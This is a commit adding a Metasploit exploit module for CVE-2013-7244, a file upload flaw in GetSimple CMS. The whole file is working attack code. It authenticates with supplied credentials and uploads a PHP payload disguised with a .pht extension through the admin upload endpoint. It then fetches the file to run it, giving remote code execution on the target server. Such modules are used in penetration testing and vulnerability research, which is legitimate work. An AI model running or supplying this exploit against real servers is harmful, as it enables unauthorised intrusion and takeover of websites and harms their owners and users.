The module has been updated

2014-01-28 00:31:02 +02:00
parent c6c37fe7b5
commit 003c1276cd
1 changed files with 149 additions and 0 deletions
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+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/php_exe'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'GetSimpleCMS PHP File Upload Vulnerability',
+            'Description'    => %q{
+                    This module exploits a file upload vulnerability found in GetSimple CMS
+                By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
+                directory, which results in arbitrary code execution.
+            },
+            'Author'         =>
+                [
+                    'Ahmed Elhady Mohamed' # @kingasmk
+                ],
+            'License'        => MSF_LICENSE,
+            'References'     =>
+                [
+                    ['CVE', '2013-7244'],
+                    [ 'OSVDB', '93034' ]
+                ],
+            'Payload'        =>
+                {
+                    'BadChars' => "\x00",
+                },
+            'Platform'       => 'php',
+            'Arch'           => ARCH_PHP,
+            'Targets'        =>
+                [
+                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
+                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+                ],
+            'DefaultTarget'  => 0,
+            'DisclosureDate' => 'Jan 04 2014'))
+
+        register_options(
+            [
+                OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) ,
+                OptString.new('User', [true, 'The username that will be used for authentication process', '']) ,
+                OptString.new('Pass', [true, 'The right password for the provided username', '']) ,
+                OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/'])
+            ], self.class)
+    end
+
+
+    def authenticate_prcoss(peer, uri)
+      #data_post = "userid=#{datastore['User']}&pwd=#{datastore['Pass']}&submitted=Login"
+
+      res = send_request_cgi({
+        'method'      => 'POST',
+        'uri'         => "#{uri}admin/index.php",
+        'vars_post'   => {
+                    'userid' => "#{datastore['User']}",
+                    'pwd' => 	"#{datastore['Pass']}",
+                    'submitted' => 'Login'
+                }
+        })
+
+      if res.class == NilClass
+        fail_with(Failure::Unknown, "#{peer} - Authentication Failed!")
+        return
+      end
+
+      if res.code == 404 or res.code == 400
+        fail_with(Failure::Unknown, "#{peer} - URI Path is Not Correct - Page Not Found!")
+        return
+      end
+
+      if res.code == 200
+        fail_with(Failure::Unknown, "#{peer} - User Credentials are Wrong, aborting!")
+        return
+      end
+
+    if res.code == 302
+      return res
+      end
+
+
+    end
+
+
+    def upload_file(payload_name, uri, cookie_http_header)
+
+      boundary = Rex::Text.rand_text_hex(7)
+      post_data = "--#{boundary}\r\n"
+      post_data << "Content-Disposition: form-data; name=\"file[]\"; filename=\"#{payload_name}\"\r\n"
+      post_data << "Content-Type: application/x-httpd-php\r\n\r\n"
+      post_data << "<?php "
+      post_data << payload.encoded
+      post_data << " ?>\r\n\r\n"
+      post_data << "--#{boundary}\r\n"
+      post_data << "Content-Disposition: form-data; name=\"submit\"\r\n\r\n"
+      post_data << "Upload\r\n"
+      post_data << "--#{boundary}--\r\n"
+
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri'    => "#{uri}admin/upload.php?path=",
+        'cookie' => cookie_http_header,
+        'ctype'  => "multipart/form-data; boundary=#{boundary}",
+        'data'   => post_data
+      })
+      return res
+    end
+
+
+    def exploit
+
+      payload_name = rand_text_alpha(rand(10) + 5) + '.pht'
+      uri = target_uri.path
+      uri = normalize_uri(uri, '/')
+
+      print_status("#{peer} - Using The Provided Credentials for Authentication.")
+      res = authenticate_prcoss(peer, uri)
+      print_status("#{peer} - The authentication process is done successfully!")
+
+
+      print_status("#{peer} - Extracting Cookies Information")
+      cookie_http_header = res.get_cookies
+      upload_file(payload_name, uri, cookie_http_header)
+      print_status("#{peer} - Uploading #{payload_name.downcase} File.")
+      print_status("#{peer} - #{payload_name.downcase} File uploaded successfully!")
+
+
+      upload_dir = datastore['Upload_dir']
+      upload_uri = "#{uri}#{upload_dir}#{payload_name.downcase}"
+      print_status("#{peer} - Executing payload #{payload_name.downcase}")
+      res = send_request_raw({
+        'uri'    => upload_uri,
+        'method' => 'GET'
+      })
+
+      register_files_for_cleanup(payload_name)
+    end
+
+end